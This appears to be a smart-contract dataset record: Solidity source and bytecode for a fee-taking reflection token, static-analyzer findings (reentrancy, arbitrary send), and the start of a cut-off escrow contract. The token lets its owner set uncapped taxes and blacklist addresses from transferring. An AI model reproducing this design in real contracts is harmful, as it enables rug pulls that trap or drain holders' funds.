IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private isMaxBuyActivated = true;
uint256 public _maxTxAmount = 5e7 * 10**9;
uint256 public _maxWalletSize = 15e7 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
uint256 public _minimumBuyAmount = 5e7 * 10**9 ;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (isMaxBuyActivated) {
if (block.timestamp <= launchTime + 3 minutes) {
require(amount <= _minimumBuyAmount, "Amount too much");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) {
_redisFee = _redisFeeJeets;
_taxFee = _taxFeeJeets;
} else {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner {
isMaxBuyActivated = _isMaxBuyActivated;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
_burnFee = amount;
}
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner {
_redisFeeJeets = amountRedisJeets;
_taxFeeJeets = amountTaxJeets;
}
function setTimeJeets(uint256 hoursTime) external onlyOwner {
timeJeets = hoursTime * 1 hours;
}
}
|
0x60806040526004361061021e5760003560e01c806370a082311161012357806395d89b41116100ab578063dd62ed3e1161006f578063dd62ed3e14610648578063e0f9f6a01461068e578063ea1644d5146106ae578063f2fde38b146106ce578063fe72c3c1146106ee57600080fd5b806395d89b41146105955780639ec350ed146105c85780639f131571146105e8578063a9059cbb14610608578063c55284901461062857600080fd5b80637c519ffb116100f25780637c519ffb146105165780637d1db4a51461052b578063881dce60146105415780638da5cb5b146105615780638f9a55c01461057f57600080fd5b806370a08231146104ab578063715018a6146104cb57806374010ece146104e0578063790ca4131461050057600080fd5b8063313ce567116101a65780634bf2c7c9116101755780634bf2c7c9146104205780635d098b38146104405780636b9cf534146104605780636d8aa8f8146104765780636fc3eaec1461049657600080fd5b8063313ce567146103a457806333251a0b146103c057806338eea22d146103e057806349bd5a5e1461040057600080fd5b806318160ddd116101ed57806318160ddd1461031157806323b872dd1461033657806327c8f8351461035657806328bb665a1461036c5780632fd689e31461038e57600080fd5b806306fdde031461022a578063095ea7b3146102705780630f3a325f146102a05780631694505e146102d957600080fd5b3661022557005b600080fd5b34801561023657600080fd5b5060408051808201909152600b81526a052796f73686920537761760ac1b60208201525b6040516102679190611f3e565b60405180910390f35b34801561027c57600080fd5b5061029061028b366004611de9565b610704565b6040519015158152602001610267565b3480156102ac57600080fd5b506102906102bb366004611d35565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102e557600080fd5b506019546102f9906001600160a01b031681565b6040516001600160a01b039091168152602001610267565b34801561031d57600080fd5b50678ac7230489e800005b604051908152602001610267565b34801561034257600080fd5b50610290610351366004611da8565b61071b565b34801561036257600080fd5b506102f961dead81565b34801561037857600080fd5b5061038c610387366004611e15565b610784565b005b34801561039a57600080fd5b50610328601d5481565b3480156103b057600080fd5b5060405160098152602001610267565b3480156103cc57600080fd5b5061038c6103db366004611d35565b610823565b3480156103ec57600080fd5b5061038c6103fb366004611f1c565b610892565b34801561040c57600080fd5b50601a546102f9906001600160a01b031681565b34801561042c57600080fd5b5061038c61043b366004611f03565b6108c7565b34801561044c57600080fd5b5061038c61045b366004611d35565b6108f6565b34801561046c57600080fd5b50610328601e5481565b34801561048257600080fd5b5061038c610491366004611ee1565b610950565b3480156104a257600080fd5b5061038c610998565b3480156104b757600080fd5b506103286104c6366004611d35565b6109c2565b3480156104d757600080fd5b5061038c6109e4565b3480156104ec57600080fd5b5061038c6104fb366004611f03565b610a58565b34801561050c57600080fd5b50610328600a5481565b34801561052257600080fd5b5061038c610a87565b34801561053757600080fd5b50610328601b5481565b34801561054d57600080fd5b5061038c61055c366004611f03565b610ae1565b34801561056d57600080fd5b506000546001600160a01b03166102f9565b34801561058b57600080fd5b50610328601c5481565b3480156105a157600080fd5b5060408051808201909152600a815269052594f534849535741560b41b602082015261025a565b3480156105d457600080fd5b5061038c6105e3366004611f1c565b610b5d565b3480156105f457600080fd5b5061038c610603366004611ee1565b610b92565b34801561061457600080fd5b50610290610623366004611de9565b610bda565b34801561063457600080fd5b5061038c610643366004611f1c565b610be7565b34801561065457600080fd5b50610328610663366004611d6f565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561069a57600080fd5b5061038c6106a9366004611f03565b610c1c565b3480156106ba57600080fd5b5061038c6106c9366004611f03565b610c58565b3480156106da57600080fd5b5061038c6106e9366004611d35565b610c96565b3480156106fa57600080fd5b5061032860185481565b6000610711338484610d80565b5060015b92915050565b6000610728848484610ea4565b61077a843361077585604051806060016040528060288152602001612143602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906115ca565b610d80565b5060019392505050565b6000546001600160a01b031633146107b75760405162461bcd60e51b81526004016107ae90611f93565b60405180910390fd5b60005b815181101561081f576001600960008484815181106107db576107db612101565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610817816120d0565b9150506107ba565b5050565b6000546001600160a01b0316331461084d5760405162461bcd60e51b81526004016107ae90611f93565b6001600160a01b03811660009081526009602052604090205460ff161561088f576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108bc5760405162461bcd60e51b81526004016107ae90611f93565b600d91909155600f55565b6000546001600160a01b031633146108f15760405162461bcd60e51b81526004016107ae90611f93565b601355565b6017546001600160a01b0316336001600160a01b03161461091657600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b0316331461097a5760405162461bcd60e51b81526004016107ae90611f93565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b0316146109b857600080fd5b4761088f81611604565b6001600160a01b0381166000908152600260205260408120546107159061163e565b6000546001600160a01b03163314610a0e5760405162461bcd60e51b81526004016107ae90611f93565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a825760405162461bcd60e51b81526004016107ae90611f93565b601b55565b6000546001600160a01b03163314610ab15760405162461bcd60e51b81526004016107ae90611f93565b601a54600160a01b900460ff1615610ac857600080fd5b601a805460ff60a01b1916600160a01b17905542600a55565b6017546001600160a01b0316336001600160a01b031614610b0157600080fd5b610b0a306109c2565b8111158015610b195750600081115b610b545760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107ae565b61088f816116c2565b6000546001600160a01b03163314610b875760405162461bcd60e51b81526004016107ae90611f93565b600b91909155600c55565b6000546001600160a01b03163314610bbc5760405162461bcd60e51b81526004016107ae90611f93565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b6000610711338484610ea4565b6000546001600160a01b03163314610c115760405162461bcd60e51b81526004016107ae90611f93565b600e91909155601055565b6000546001600160a01b03163314610c465760405162461bcd60e51b81526004016107ae90611f93565b610c5281610e1061209a565b60185550565b6000546001600160a01b03163314610c825760405162461bcd60e51b81526004016107ae90611f93565b601c54811015610c9157600080fd5b601c55565b6000546001600160a01b03163314610cc05760405162461bcd60e51b81526004016107ae90611f93565b6001600160a01b038116610d255760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107ae565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610de25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107ae565b6001600160a01b038216610e435760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107ae565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f085760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107ae565b6001600160a01b038216610f6a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107ae565b60008111610fcc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107ae565b6001600160a01b03821660009081526009602052604090205460ff16156110055760405162461bcd60e51b81526004016107ae90611fc8565b6001600160a01b03831660009081526009602052604090205460ff161561103e5760405162461bcd60e51b81526004016107ae90611fc8565b3360009081526009602052604090205460ff161561106e5760405162461bcd60e51b81526004016107ae90611fc8565b6000546001600160a01b0384811691161480159061109a57506000546001600160a01b03838116911614155b1561141257601a54600160a01b900460ff166110f85760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107ae565b601a546001600160a01b03838116911614801561112357506019546001600160a01b03848116911614155b156111d5576001600160a01b038216301480159061114a57506001600160a01b0383163014155b801561116457506017546001600160a01b03838116911614155b801561117e57506017546001600160a01b03848116911614155b156111d557601b548111156111d55760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107ae565b601a546001600160a01b0383811691161480159061120157506017546001600160a01b03838116911614155b801561121657506001600160a01b0382163014155b801561122d57506001600160a01b03821661dead14155b1561130c57601c548161123f846109c2565b6112499190612060565b106112a25760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107ae565b601a54600160b81b900460ff161561130c57600a546112c29060b4612060565b421161130c57601e5481111561130c5760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40daeac6d608b1b60448201526064016107ae565b6000611317306109c2565b601d5490915081118080156113365750601a54600160a81b900460ff16155b80156113505750601a546001600160a01b03868116911614155b80156113655750601a54600160b01b900460ff165b801561138a57506001600160a01b03851660009081526006602052604090205460ff16155b80156113af57506001600160a01b03841660009081526006602052604090205460ff16155b1561140f57601354600090156113ea576113df60646113d96013548661184b90919063ffffffff16565b906118ca565b90506113ea8161190c565b6113fc6113f782856120b9565b6116c2565b47801561140c5761140c47611604565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061145457506001600160a01b03831660009081526006602052604090205460ff165b806114865750601a546001600160a01b038581169116148015906114865750601a546001600160a01b03848116911614155b15611493575060006115b8565b601a546001600160a01b0385811691161480156114be57506019546001600160a01b03848116911614155b15611519576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a541415611519576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b03848116911614801561154457506019546001600160a01b03858116911614155b156115b8576001600160a01b0384166000908152600460205260409020541580159061159557506018546001600160a01b038516600090815260046020526040902054429161159291612060565b10155b156115ab57600b54601155600c546012556115b8565b600f546011556010546012555b6115c484848484611919565b50505050565b600081848411156115ee5760405162461bcd60e51b81526004016107ae9190611f3e565b5060006115fb84866120b9565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561081f573d6000803e3d6000fd5b60006007548211156116a55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107ae565b60006116af61194d565b90506116bb83826118ca565b9392505050565b601a805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061170a5761170a612101565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561175e57600080fd5b505afa158015611772573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117969190611d52565b816001815181106117a9576117a9612101565b6001600160a01b0392831660209182029290920101526019546117cf9130911684610d80565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac94790611808908590600090869030904290600401611fef565b600060405180830381600087803b15801561182257600080fd5b505af1158015611836573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b60008261185a57506000610715565b6000611866838561209a565b9050826118738583612078565b146116bb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107ae565b60006116bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611970565b61088f3061dead83610ea4565b806119265761192661199e565b6119318484846119e3565b806115c4576115c4601454601155601554601255601654601355565b600080600061195a611ada565b909250905061196982826118ca565b9250505090565b600081836119915760405162461bcd60e51b81526004016107ae9190611f3e565b5060006115fb8486612078565b6011541580156119ae5750601254155b80156119ba5750601354155b156119c157565b6011805460145560128054601555601380546016556000928390559082905555565b6000806000806000806119f587611b1a565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a279087611b77565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611a569086611bb9565b6001600160a01b038916600090815260026020526040902055611a7881611c18565b611a828483611c62565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ac791815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e80000611af582826118ca565b821015611b1157505060075492678ac7230489e8000092509050565b90939092509050565b6000806000806000806000806000611b378a601154601254611c86565b9250925092506000611b4761194d565b90506000806000611b5a8e878787611cd5565b919e509c509a509598509396509194505050505091939550919395565b60006116bb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115ca565b600080611bc68385612060565b9050838110156116bb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107ae565b6000611c2261194d565b90506000611c30838361184b565b30600090815260026020526040902054909150611c4d9082611bb9565b30600090815260026020526040902055505050565b600754611c6f9083611b77565b600755600854611c7f9082611bb9565b6008555050565b6000808080611c9a60646113d9898961184b565b90506000611cad60646113d98a8961184b565b90506000611cc582611cbf8b86611b77565b90611b77565b9992985090965090945050505050565b6000808080611ce4888661184b565b90506000611cf2888761184b565b90506000611d00888861184b565b90506000611d1282611cbf8686611b77565b939b939a50919850919650505050505050565b8035611d308161212d565b919050565b600060208284031215611d4757600080fd5b81356116bb8161212d565b600060208284031215611d6457600080fd5b81516116bb8161212d565b60008060408385031215611d8257600080fd5b8235611d8d8161212d565b91506020830135611d9d8161212d565b809150509250929050565b600080600060608486031215611dbd57600080fd5b8335611dc88161212d565b92506020840135611dd88161212d565b929592945050506040919091013590565b60008060408385031215611dfc57600080fd5b8235611e078161212d565b946020939093013593505050565b60006020808385031215611e2857600080fd5b823567ffffffffffffffff80821115611e4057600080fd5b818501915085601f830112611e5457600080fd5b813581811115611e6657611e66612117565b8060051b604051601f19603f83011681018181108582111715611e8b57611e8b612117565b604052828152858101935084860182860187018a1015611eaa57600080fd5b600095505b83861015611ed457611ec081611d25565b855260019590950194938601938601611eaf565b5098975050505050505050565b600060208284031215611ef357600080fd5b813580151581146116bb57600080fd5b600060208284031215611f1557600080fd5b5035919050565b60008060408385031215611f2f57600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015611f6b57858101830151858201604001528201611f4f565b81811115611f7d576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561203f5784516001600160a01b03168352938301939183019160010161201a565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115612073576120736120eb565b500190565b60008261209557634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156120b4576120b46120eb565b500290565b6000828210156120cb576120cb6120eb565b500390565b60006000198214156120e4576120e46120eb565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461088f57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205bcd9454105e0d617afc0af1979da2e0d3933d651b0000251dd363639a49ec3964736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,710 |
0x60e3026d3395b0df415fc0eaec84b745909fb703
|
pragma solidity ^0.4.18;
// File: contracts/IEscrow.sol
/**
* @title Escrow interface
*
* @dev https://send.sd/token
*/
interface IEscrow {
event Created(
address indexed sender,
address indexed recipient,
address indexed arbitrator,
uint256 transactionId
);
event Released(address indexed arbitrator, address indexed sentTo, uint256 transactionId);
event Dispute(address indexed arbitrator, uint256 transactionId);
event Paid(address indexed arbitrator, uint256 transactionId);
function create(
address _sender,
address _recipient,
address _arbitrator,
uint256 _transactionId,
uint256 _tokens,
uint256 _fee,
uint256 _expiration
) public;
function fund(
address _sender,
address _arbitrator,
uint256 _transactionId,
uint256 _tokens,
uint256 _fee
) public;
}
// File: contracts/ISendToken.sol
/**
* @title ISendToken - Send Consensus Network Token interface
* @dev token interface built on top of ERC20 standard interface
* @dev see https://send.sd/token
*/
interface ISendToken {
function transfer(address to, uint256 value) public returns (bool);
function isVerified(address _address) public constant returns(bool);
function verify(address _address) public;
function unverify(address _address) public;
function verifiedTransferFrom(
address from,
address to,
uint256 value,
uint256 referenceId,
uint256 exchangeRate,
uint256 fee
) public;
function issueExchangeRate(
address _from,
address _to,
address _verifiedAddress,
uint256 _value,
uint256 _referenceId,
uint256 _exchangeRate
) public;
event VerifiedTransfer(
address indexed from,
address indexed to,
address indexed verifiedAddress,
uint256 value,
uint256 referenceId,
uint256 exchangeRate
);
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts/Escrow.sol
/**
* @title Vesting contract for SDT
* @dev see https://send.sd/token
*/
contract Escrow is IEscrow, Ownable {
using SafeMath for uint256;
ISendToken public token;
struct Lock {
address sender;
address recipient;
uint256 value;
uint256 fee;
uint256 expiration;
bool paid;
}
mapping(address => mapping(uint256 => Lock)) internal escrows;
function Escrow(address _token) public {
token = ISendToken(_token);
}
modifier tokenRestricted() {
require(msg.sender == address(token));
_;
}
/**
* @dev Create a record for held tokens
* @param _arbitrator Address to be authorized to spend locked funds
* @param _transactionId Intenral ID for applications implementing this
* @param _tokens Amount of tokens to lock
* @param _fee A fee to be paid to arbitrator (may be 0)
* @param _expiration After this timestamp, user can claim tokens back.
*/
function create(
address _sender,
address _recipient,
address _arbitrator,
uint256 _transactionId,
uint256 _tokens,
uint256 _fee,
uint256 _expiration
) public tokenRestricted {
require(_tokens > 0);
require(_fee >= 0);
require(escrows[_arbitrator][_transactionId].value == 0);
escrows[_arbitrator][_transactionId].sender = _sender;
escrows[_arbitrator][_transactionId].recipient = _recipient;
escrows[_arbitrator][_transactionId].value = _tokens;
escrows[_arbitrator][_transactionId].fee = _fee;
escrows[_arbitrator][_transactionId].expiration = _expiration;
Created(_sender, _recipient, _arbitrator, _transactionId);
}
/**
* @dev Fund escrow record
* @param _arbitrator Address to be authorized to spend locked funds
* @param _transactionId Intenral ID for applications implementing this
* @param _tokens Amount of tokens to lock
* @param _fee A fee to be paid to arbitrator (may be 0)
*/
function fund(
address _sender,
address _arbitrator,
